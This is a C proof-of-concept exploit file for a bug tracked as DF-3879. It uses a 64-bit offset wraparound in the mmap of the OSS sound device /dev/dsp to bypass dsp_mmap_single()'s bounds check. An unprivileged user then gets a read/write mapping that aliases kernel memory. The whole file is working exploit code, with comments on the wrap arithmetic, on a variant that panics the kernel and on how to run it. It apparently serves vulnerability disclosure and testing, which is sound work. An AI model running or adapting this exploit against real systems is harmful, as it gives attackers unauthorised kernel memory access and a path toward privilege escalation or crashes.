DF-3879 / mmap_alias_rw.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 | /* * DF-3879 kernel-path PoC (variant A, non-fatal on INVARIANTS kernels): * proves ON THE LIVE KERNEL that dsp_mmap_single()'s bounds check * (dsp.c:2342) is bypassed by a 64-bit wrap, and that the resulting * mapping aliases KERNEL memory (the sound soft buffer) read/write. * * size = 0x100000000 (4 GiB, mappable user VA) * user_off = 0xFFFFFFFF00000000 (2^64 - 2^32) * sum = size + user_off = 0 (wraps) <= bufsize -> check PASSES * ofs = (u32)user_off = 0 -> sndbuf_getbufofs -> wild = b->buf + 0 * * The fixed check (*offset > bufsize -> EINVAL) rejects user_off=0xFFFFFFFF00000000 * outright. The buggy check lets it through, and the pager maps the kernel * soft buffer KVA into our PTEs RW. * * Proof of aliasing: write a magic pattern through the WILD mapping (p1), * read it back through the LEGITIMATE offset-0 mapping (p2), and vice * versa. If the pattern crosses, p1 is kernel memory. * * run: ./mmap_alias_rw (unprivileged; needs any pcm device, /dev/dsp 0666) */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> #include <sys/ioctl.h> #include <sys/soundcard.h> int main(void) { const uint64_t wild_off = 0xFFFFFFFF00000000ULL; /* 2^64 - 2^32 */ const uint64_t size = 0x100000000ULL; /* 4 GiB */ const char magic[] = "DF3879-WILD-ALIAS-PROOF!"; printf("[*] DF-3879 variant A2: wrapped-offset kernel-alias proof" " (prepared channel)\n"); printf(" off = 0x%016llx\n", (unsigned long long)wild_off); printf(" size = 0x%llx\n", (unsigned long long)size); printf(" sum = 0x%016llx (wraps mod 2^64; <= bufsize -> dsp.c:2342 PASSES)\n", (unsigned long long)(wild_off + size)); printf(" ofs = (u32)off = 0x%x -> wild = b->buf + 0\n", (unsigned int)wild_off); int fd = open("/dev/dsp", O_RDWR); if (fd < 0) { printf("[-] open /dev/dsp: %s (errno=%d)\n", strerror(errno), errno); return 2; } printf("[+] open(\"/dev/dsp\", O_RDWR) ok (0666 cdev)\n"); /* * Classic OSS setup: allocate the soft buffer (bufsoft->buf) via * chn_resizebuf/sndbuf_remalloc. At fresh open bufsoft->buf == NULL * (chn_init calls sndbuf_setup(bs, NULL, 0), channel.c:1247) โ the * first run of this PoC without this dance panicked in pmap_kextract * walking vtophys(NULL+0) (see panic.pmap.txt). */ int fmt = AFMT_S16_LE, ch = 2, sp = 44100; audio_buf_info oi; if (ioctl(fd, SNDCTL_DSP_SETFMT, &fmt) < 0 || ioctl(fd, SNDCTL_DSP_CHANNELS, &ch) < 0 || ioctl(fd, SNDCTL_DSP_SPEED, &sp) < 0) { printf("[-] dsp setup ioctl: %s (errno=%d)\n", strerror(errno), errno); return 2; } if (ioctl(fd, SNDCTL_DSP_GETOSPACE, &oi) < 0) { printf("[-] GETOSPACE: %s (errno=%d)\n", strerror(errno), errno); return 2; } printf("[+] OSS setup ok: fragsize=%d fragments=%d bytes=%d (bufsoft allocated)\n", oi.fragsize, oi.fragments, oi.bytes); if (oi.bytes <= 0) { printf("[-] bufsoft empty โ refusing to continue\n"); return 2; } /* p1: the ATTACK mapping โ 4GiB @ wrapped offset the check must reject */ void *p1 = mmap(NULL, (size_t)size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, (off_t)wild_off); if (p1 == MAP_FAILED) { printf("[-] wild mmap: %s (errno=%d) โ check NOT bypassed?\n", strerror(errno), errno); close(fd); return 3; } printf("[!] ATTACK mmap(wrapped off=0xFFFFFFFF00000000, size=4GiB) SUCCEEDED" " โ dsp.c:2342 bypassed\n"); /* p2: the LEGITIMATE feature mapping (offset 0) of the same * buffer โ independent userspace view of b->buf */ size_t p2len = (oi.bytes >= 4096) ? 4096 : (size_t)oi.bytes; void *p2 = mmap(NULL, p2len, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (p2 == MAP_FAILED) { printf("[*] legit mmap(off=0): %s (errno=%d) โ continuing with p1 only\n", strerror(errno), errno); p2 = NULL; } else { printf("[+] legit mmap(off=0, 4096) ok โ same kernel buffer, second view\n"); } /* write the magic through the WILD mapping (kernel write) */ strcpy((char *)p1, magic); printf("[*] wrote \"%s\" through ATTACK mapping\n", magic); int rc = 0; if (p2) { if (memcmp(p2, magic, sizeof(magic)) == 0) { printf("[!!] PATTERN VISIBLE THROUGH LEGIT MAPPING:" " attack mapping ALIASES KERNEL MEMORY b->buf RW\n"); } else { printf("[-] pattern NOT visible via legit mapping" " (p2 differs โ see hexdump)\n"); for (int i = 0; i < 32; i++) printf("%02x ", ((unsigned char *)p2)[i]); printf("\n"); rc = 4; } /* reverse direction: modify through legit view, read via wild */ strcpy((char *)p2, "LEGIT-VIEW-WRITE"); if (memcmp(p1, "LEGIT-VIEW-WRITE", 16) == 0) printf("[!!] REVERSE CROSS-CHECK ok โ same physical page, RW\n"); } else { /* fallback: only wild view โ at least show it is readable memory */ printf("[*] p1[0..15] = \"%.16s\" (kernel soft-buffer content)\n", (char *)p1); } printf("[*] note: ofs 0x0 < bufsize, so this variant survives INVARIANTS;" " variant B (ofs=0x10000000 >= bufsize) hits the KASSERT.\n"); close(fd); return rc; } |